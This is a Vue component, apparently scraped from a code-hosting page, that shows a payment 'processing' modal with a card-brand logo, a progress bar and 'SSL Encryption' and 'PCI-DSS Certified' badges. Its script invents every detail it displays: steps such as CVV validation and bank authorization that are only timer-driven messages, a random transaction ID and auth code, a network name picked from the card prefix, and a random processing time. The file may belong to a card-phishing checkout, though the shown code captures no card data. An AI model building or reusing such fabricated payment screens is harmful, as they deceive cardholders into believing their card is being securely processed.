844 lines
30 KiB
Bash
844 lines
30 KiB
Bash
<template>
|
|
<div v-if="visible" class="modal-overlay" @click="handleOverlayClick">
|
|
<div class="modal-content" @click.stop>
|
|
<div class="loading">
|
|
<div class="bank-container">
|
|
<div class="content">
|
|
<img :src="imgRef" alt="logo" class="card-image">
|
|
<div class="scan-animation"></div>
|
|
</div>
|
|
<div style="flex: 1"></div>
|
|
<div class="bank-app">
|
|
<div class="progress-container">
|
|
<div class="progress-bar">
|
|
<div class="progress-fill" :style="{ width: progress + '%' }"></div>
|
|
</div>
|
|
</div>
|
|
<div class="notice-box">
|
|
<p
|
|
class="FullPageMessage-Message-Detail Text Text-color--black400 Text-fontSize--13 Text-fontWeight--400">
|
|
<span>{{ progressMessage }}</span>
|
|
</p>
|
|
</div>
|
|
<div class="security-banner">
|
|
<div class="feature">
|
|
<img class="icon"
|
|
src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNzUwOTIzMzg0NTg2IiBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9IjEwMzQzIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjI1NiIgaGVpZ2h0PSIyNTYiPjxwYXRoIGQ9Ik03NTIgMzcyaC00MHYtODBjMC0xMTAtOTAtMjAwLTIwMC0yMDBTMzEyIDE4MiAzMTIgMjkydjgwaC00MGMtNDQuMDA0IDAtODAgMzUuOTk2LTgwIDgwdjQwMGMwIDQ0LjAwNCAzNS45OTYgODAgODAgODBoNDgwYzQ0LjAwNCAwIDgwLTM1Ljk5NiA4MC04MFY0NTJjMC00NC4wMDQtMzUuOTk2LTgwLTgwLTgwek01MTIgNzM2Yy00NC4wMDQgMC04MC0zNS45OTYtODAtODBzMzUuOTk2LTgwIDgwLTgwIDgwIDM1Ljk5NiA4MCA4MC0zNS45OTYgODAtODAgODB6IG0xMjQuMDA0LTM2NEgzODcuOTk2di04MGMwLTY4LjAwOCA1Ni4wMDYtMTI0LjAwNCAxMjQuMDA0LTEyNC4wMDQgNjguMDA4IDAgMTI0LjAwNCA1NS45OTYgMTI0LjAwNCAxMjQuMDA0djgweiIgcC1pZD0iMTAzNDQiIGZpbGw9IiM0Y2FmNTAiPjwvcGF0aD48L3N2Zz4=" />
|
|
<span class="label">{{ t("SSL Encryption") }}</span>
|
|
</div>
|
|
<div class="separator"></div>
|
|
<div class="feature">
|
|
<img class="icon"
|
|
src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/PjwhRE9DVFlQRSBzdmcgUFVCTElDICItLy9XM0MvL0RURCBTVkcgMS4xLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL0dyYXBoaWNzL1NWRy8xLjEvRFREL3N2ZzExLmR0ZCI+PHN2ZyB0PSIxNzUwOTIzMzU0NDkzIiBjbGFzcz0iaWNvbiIgdmlld0JveD0iMCAwIDEwMjQgMTAyNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHAtaWQ9Ijg0MDQiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMjU2IiBoZWlnaHQ9IjI1NiI+PHBhdGggZD0iTTUxMiA0Mi42NjY2NjdMMTI4IDIxMy4zMzMzMzN2MjU2YzAgMjM2LjggMTYzLjg0IDQ1OC4yNCAzODQgNTEyIDIyMC4xNi01My43NiAzODQtMjc1LjIgMzg0LTUxMlYyMTMuMzMzMzMzbC0zODQtMTcwLjY2NjY2NnogbS04NS4zMzMzMzMgNjgyLjY2NjY2NmwtMTcwLjY2NjY2Ny0xNzAuNjY2NjY2IDYwLjE2LTYwLjE2TDQyNi42NjY2NjcgNjA0LjU4NjY2N2wyODEuMTczMzMzLTI4MS4xNzMzMzRMNzY4IDM4NGwtMzQxLjMzMzMzMyAzNDEuMzMzMzMzeiIgcC1pZD0iODQwNSIgZmlsbD0iIzRjYWY1MCI+PC9wYXRoPjwvc3ZnPg==" />
|
|
<span class="label">{{ t("PCI-DSS Certified") }}</span>
|
|
</div>
|
|
</div>
|
|
<div class="transaction-details pa-4" v-if="showDetails">
|
|
<hr class="v-divider v-theme--light mb-3" style="opacity: 0.12;"
|
|
aria-orientation="horizontal" role="separator">
|
|
<div class="details-header mb-2"
|
|
style="display: flex; flex-direction: row; align-items: center;">
|
|
<img style="width: 1em;height: 1em;"
|
|
src="data:image/png;base64,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">
|
|
<span class="font-weight-medium">{{ t("Transaction Details") }}</span>
|
|
</div>
|
|
<div class="d-flex flex-column">
|
|
<div class="detail-item">
|
|
<span class="detail-label">{{ t("Transaction ID:") }}</span>
|
|
<span class="detail-value">{{ transactionId }}</span>
|
|
</div>
|
|
<div class="detail-item">
|
|
<span class="detail-label">{{ t("Processing Network:") }}</span>
|
|
<span class="detail-value">{{ processingNetwork }}</span>
|
|
</div>
|
|
<div class="detail-item">
|
|
<span class="detail-label">{{ t("Processing Time:") }}</span>
|
|
<span class="detail-value">{{ processingTime }}</span>
|
|
</div>
|
|
<div class="detail-item">
|
|
<span class="detail-label">{{ t("Security Level:") }}</span>
|
|
<span class="detail-value success--text">{{ securityLevel }}</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</template>
|
|
|
|
<script setup lang="ts">
|
|
import { ref, watch, onUnmounted, computed } from "vue";
|
|
import { useI18n } from "vue-i18n";
|
|
|
|
const { t } = useI18n();
|
|
|
|
const progress = ref(0);
|
|
const progressMessage = ref(t('Preparing...'));
|
|
const intervalId = ref();
|
|
const showSpinner = ref(false);
|
|
const transactionId = ref('');
|
|
const authCode = ref('');
|
|
const processingNetwork = ref('');
|
|
const processingTime = ref('');
|
|
const securityLevel = ref(t('High'));
|
|
const showDetails = ref(false);
|
|
interface Props {
|
|
visible: boolean;
|
|
cardNumber?: string;
|
|
loading?: boolean;
|
|
closable?: boolean;
|
|
maskClosable?: boolean;
|
|
autoClose?: boolean;
|
|
autoCloseDelay?: number;
|
|
}
|
|
|
|
const props = withDefaults(defineProps<Props>(), {
|
|
visible: false,
|
|
cardNumber: "",
|
|
loading: true,
|
|
closable: true,
|
|
maskClosable: true,
|
|
autoClose: false,
|
|
autoCloseDelay: 5000
|
|
});
|
|
|
|
const cardType = computed(() => {
|
|
const num = props.cardNumber.replace(/\D/g, '');
|
|
if (/^4/.test(num)) return 'VISA';
|
|
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
|
|
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
|
|
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
|
|
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
|
|
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
|
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
|
|
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
|
|
if (/^220[0-4]/.test(num)) return 'MIR';
|
|
return 'Generic';
|
|
});
|
|
|
|
const progressSteps = [
|
|
{ threshold: 0, message: t('Initializing payment environment...') },
|
|
{ threshold: 10, message: t('Encrypting card information...') },
|
|
{ threshold: 20, message: t('Establishing secure connection...') },
|
|
{ threshold: 30, message: t('Verifying card number and issuer...') },
|
|
{ threshold: 40, message: t('Validating CVV code...') },
|
|
{ threshold: 50, message: t('Checking fraud risk...') },
|
|
{ threshold: 60, message: t('Sending transaction request...') },
|
|
{ threshold: 70, message: t('Waiting for bank authorization...') },
|
|
{ threshold: 80, message: t('Processing bank response...') },
|
|
{ threshold: 90, message: t('Confirming transaction status...') },
|
|
{ threshold: 95, message: t('Finalizing transaction...') },
|
|
{ threshold: 100, message: '' },
|
|
];
|
|
|
|
const generateTransactionDetails = (typeData: any) => {
|
|
const type = typeData.toUpperCase();
|
|
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
|
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
|
|
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
|
|
processingNetwork.value =
|
|
type === 'VISA' ? t('Visa Secure Network') :
|
|
type === 'MASTERCARD' ? t('Mastercard Global Payment Network') :
|
|
type === 'AMERICAN EXPRESS' ? t('American Express Dedicated Channel') :
|
|
type === 'CHINA UNION PAY' ? t('UnionPay Gateway') :
|
|
'International Payment Network';
|
|
processingTime.value = t('{time} seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
|
|
};
|
|
|
|
|
|
|
|
const animateProgress = () => {
|
|
if (intervalId.value) clearInterval(intervalId.value);
|
|
const breakpoints = [
|
|
{ point: 20, delay: 700 },
|
|
{ point: 40, delay: 500 },
|
|
{ point: 70, delay: 1200 },
|
|
{ point: 90, delay: 600 },
|
|
];
|
|
|
|
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
|
|
|
|
intervalId.value = setInterval(() => {
|
|
const breakpoint = getBreakpoint();
|
|
if (breakpoint) {
|
|
const increment = Math.random() * 0.2;
|
|
progress.value = Math.min(progress.value + increment, 95);
|
|
clearInterval(intervalId.value);
|
|
setTimeout(() => {
|
|
if (breakpoint.point === 70) showDetails.value = true;
|
|
animateProgress();
|
|
}, breakpoint.delay);
|
|
return;
|
|
}
|
|
|
|
let increment;
|
|
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
|
|
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
|
|
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
|
|
else increment = Math.random() * 0.3 + 0.05;
|
|
|
|
progress.value = Math.min(progress.value + increment, 95);
|
|
|
|
for (let i = progressSteps.length - 1; i >= 0; i--) {
|
|
if (progress.value >= progressSteps[i].threshold) {
|
|
progressMessage.value = progressSteps[i].message;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!props.loading) {
|
|
clearInterval(intervalId.value);
|
|
intervalId.value = null;
|
|
progress.value = 100;
|
|
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
|
}
|
|
}, 300);
|
|
};
|
|
|
|
// Watch loading prop
|
|
watch(() => props.loading, (isLoading) => {
|
|
if (isLoading) {
|
|
showSpinner.value = true;
|
|
progress.value = 0;
|
|
progressMessage.value = progressSteps[0].message;
|
|
generateTransactionDetails(cardType.value);
|
|
animateProgress();
|
|
} else {
|
|
if (intervalId.value) {
|
|
clearInterval(intervalId.value);
|
|
intervalId.value = null;
|
|
}
|
|
const completeProgress = () => {
|
|
const currentProgress = progress.value;
|
|
const step = Math.max((100 - currentProgress) / 10, 1);
|
|
progress.value = Math.min(currentProgress + step, 100);
|
|
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
|
if (progress.value < 100) {
|
|
intervalId.value = setTimeout(completeProgress, 10);
|
|
} else {
|
|
setTimeout(() => {
|
|
showSpinner.value = false;
|
|
}, 500);
|
|
}
|
|
};
|
|
completeProgress();
|
|
}
|
|
}, { immediate: true });
|
|
|
|
// Cleanup on unmount
|
|
onUnmounted(() => {
|
|
if (intervalId.value) {
|
|
clearInterval(intervalId.value);
|
|
intervalId.value = null;
|
|
}
|
|
});
|
|
|
|
|
|
interface Emits {
|
|
(e: 'update:visible', value: boolean): void;
|
|
(e: 'close'): void;
|
|
(e: 'step-change', step: number): void;
|
|
}
|
|
|
|
const emit = defineEmits<Emits>();
|
|
|
|
const showStep = ref(1);
|
|
const imgRef = ref<string>();
|
|
const autoCloseTimer = ref<number | null>(null);
|
|
|
|
// 监听 visible 变化,重置状态
|
|
watch(() => props.visible, (newVisible) => {
|
|
if (newVisible) {
|
|
// 重置状态
|
|
showStep.value = 1;
|
|
|
|
// 获取卡片类型图片
|
|
const type = cardType.value || localStorage.getItem("cardType");
|
|
imgRef.value = getCreditCardType(type);
|
|
|
|
// 开始步骤动画
|
|
startStepAnimation();
|
|
|
|
// 如果启用自动关闭
|
|
if (props.autoClose) {
|
|
autoCloseTimer.value = window.setTimeout(() => {
|
|
closeModal();
|
|
}, props.autoCloseDelay);
|
|
}
|
|
} else {
|
|
// 清理定时器
|
|
clearAutoCloseTimer();
|
|
}
|
|
});
|
|
|
|
const startStepAnimation = () => {
|
|
// After 1 second, set showStep to 2
|
|
setTimeout(() => {
|
|
showStep.value = 2;
|
|
emit('step-change', 2);
|
|
|
|
// After 2 more seconds, set showStep to 3
|
|
setTimeout(() => {
|
|
showStep.value = 3;
|
|
emit('step-change', 3);
|
|
}, 2000);
|
|
}, 1000);
|
|
};
|
|
|
|
const clearAutoCloseTimer = () => {
|
|
if (autoCloseTimer.value) {
|
|
clearTimeout(autoCloseTimer.value);
|
|
autoCloseTimer.value = null;
|
|
}
|
|
};
|
|
|
|
const closeModal = () => {
|
|
clearAutoCloseTimer();
|
|
emit('update:visible', false);
|
|
emit('close');
|
|
};
|
|
|
|
const handleOverlayClick = () => {
|
|
if (props.maskClosable) {
|
|
closeModal();
|
|
}
|
|
};
|
|
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
|
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
|
import c3 from "@/assets/img/761998023fcfa.svg";
|
|
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
|
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
|
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
|
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
|
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
|
import c9 from "@/assets/img/mir.jpg";
|
|
import c10 from "@/assets/img/80066acd3fcfa.svg";
|
|
|
|
/**
|
|
* 根据卡号开头检查信用卡类型
|
|
* @param cardNumber 卡号字符串
|
|
* @returns CardCheckResult 返回信用卡类型和相关信息的检查结果
|
|
*/
|
|
function getCreditCardType(cardType: string | null): string {
|
|
if (!cardType) {
|
|
return c8;
|
|
}
|
|
const cardTypeUpper = cardType.toLocaleUpperCase();
|
|
console.log("Card Type:", cardTypeUpper);
|
|
if (cardTypeUpper.includes("VISA")) {
|
|
return c1;
|
|
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
|
return c2;
|
|
} else if (cardTypeUpper.includes("JCB")) {
|
|
return c3;
|
|
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
|
return c4;
|
|
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
|
return c5;
|
|
} else if (cardTypeUpper.includes("DISCOVER")) {
|
|
return c6;
|
|
} else if (cardTypeUpper.includes("MAESTRO")) {
|
|
return c7;
|
|
} else if (cardTypeUpper.includes("DINNERS")) {
|
|
return c8;
|
|
} else if (cardTypeUpper.includes("MIR")) {
|
|
return c9;
|
|
} else {
|
|
return c10;
|
|
}
|
|
}
|
|
|
|
// 组件销毁时清理定时器
|
|
onUnmounted(() => {
|
|
clearAutoCloseTimer();
|
|
});
|
|
</script>
|
|
|
|
<style scoped>
|
|
.modal-overlay {
|
|
position: fixed;
|
|
top: 0;
|
|
left: 0;
|
|
right: 0;
|
|
bottom: 0;
|
|
background-color: rgba(0, 0, 0, 0.5);
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
z-index: 1000;
|
|
padding: 5px;
|
|
}
|
|
|
|
.modal-content {
|
|
position: relative;
|
|
background: white;
|
|
border-radius: 5px;
|
|
width: 100vw;
|
|
max-width: 600px;
|
|
max-height: 90vh;
|
|
overflow: auto;
|
|
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
|
|
}
|
|
|
|
.modal-close {
|
|
position: absolute;
|
|
top: 16px;
|
|
right: 16px;
|
|
width: 24px;
|
|
height: 24px;
|
|
border-radius: 50%;
|
|
background: rgba(0, 0, 0, 0.1);
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
cursor: pointer;
|
|
font-size: 16px;
|
|
color: #666;
|
|
z-index: 10;
|
|
transition: background-color 0.2s;
|
|
}
|
|
|
|
.modal-close:hover {
|
|
background: rgba(0, 0, 0, 0.2);
|
|
}
|
|
|
|
.loading {
|
|
display: flex;
|
|
align-items: center;
|
|
justify-content: center;
|
|
min-height: 400px;
|
|
padding: 20px 10px;
|
|
}
|
|
|
|
.loading .FullPageMessage {
|
|
-webkit-box-align: center;
|
|
-ms-flex-align: center;
|
|
-webkit-align-items: center;
|
|
align-items: center;
|
|
bottom: 0;
|
|
left: 0;
|
|
position: absolute;
|
|
right: 0;
|
|
top: 0
|
|
}
|
|
|
|
.loading .FullPageMessage-Message {
|
|
-webkit-box-orient: vertical;
|
|
-webkit-box-direction: normal;
|
|
-webkit-flex-direction: column;
|
|
-ms-flex-direction: column;
|
|
flex-direction: column;
|
|
max-width: 300px;
|
|
text-align: center
|
|
}
|
|
|
|
.loading .FullPageMessage,
|
|
.loading .FullPageMessage-Message {
|
|
-webkit-box-pack: center;
|
|
-ms-flex-pack: center;
|
|
display: -webkit-box;
|
|
display: -webkit-flex;
|
|
display: -ms-flexbox;
|
|
display: flex;
|
|
